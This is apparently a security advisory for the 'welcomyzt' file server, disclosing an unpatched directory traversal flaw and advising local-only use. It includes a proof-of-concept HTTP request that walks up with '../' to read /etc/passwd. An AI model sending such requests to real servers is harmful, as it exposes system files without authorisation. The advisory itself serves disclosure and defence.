GHSA-8fv7-vm2p-5495

`welcomyzt` is a simple file server.

`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.

**Example request:**
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
```
and server Response:
```http
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}
```

## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.